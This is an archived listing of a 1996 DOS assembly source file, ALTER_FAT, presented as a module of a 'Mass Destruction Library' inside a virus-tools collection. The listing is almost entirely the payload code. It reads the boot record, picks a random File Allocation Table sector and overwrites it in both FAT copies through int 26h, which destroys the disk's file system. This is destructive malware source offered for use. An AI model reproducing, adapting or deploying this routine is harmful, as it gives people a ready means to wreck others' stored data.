home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / VXAVTOOL.ZIP / EXEC-VIR.ZIP / MDL.ZIP / ALTER_FA.ASM next >
Encoding:
Assembly Source File  |  1996-02-27  |  1.3 KB  |  41 lines

  1. ;ALTER_FAT - module for Mass Destruction Library
  2. ;written by Evil Avatar
  3. .model tiny
  4. .code
  5. public alter_fat
  6. extrn load_sec: near, rnd_num: near
  7.  
  8. alter_fat:
  9.         push dx
  10.         push bx
  11.         push cx
  12.         push ax
  13.         push bp               ;save regs that will be changed
  14.         mov ax, 0dh
  15.         int 21h               ;reset disk
  16.         mov ah, 19h        
  17.         int 21h               ;get default disk
  18.         xor dx, dx            
  19.         call load_sec         ;read in the boot record
  20.         mov bp, bx
  21.         mov bx, word ptr es:[bp+16h]  ;find sectors per fat
  22.         push ax               ;save drive number
  23.         call rnd_num          ;get random number
  24.         cmp bx, ax            ;if random number is lower than
  25.         jbe alter_fat1        ;secs per fat then jump and kill 'em
  26.         mov ax, bx            ;else pick final sector of fat
  27. alter_fat1:        
  28.         xchg ax, dx           ;put sector number into dx
  29.         pop ax
  30.         mov cx, 1
  31.         int 26h               ;write sectors
  32.         add dx, bx            ;change to next fat (assumed 2 fats)
  33.         int 26h               ;write same data in that fat
  34.         pop bp        
  35.         pop ax
  36.         pop cx
  37.         pop bx
  38.         pop dx
  39.         ret                   ;restore regs and return
  40. end alter_fat
  41.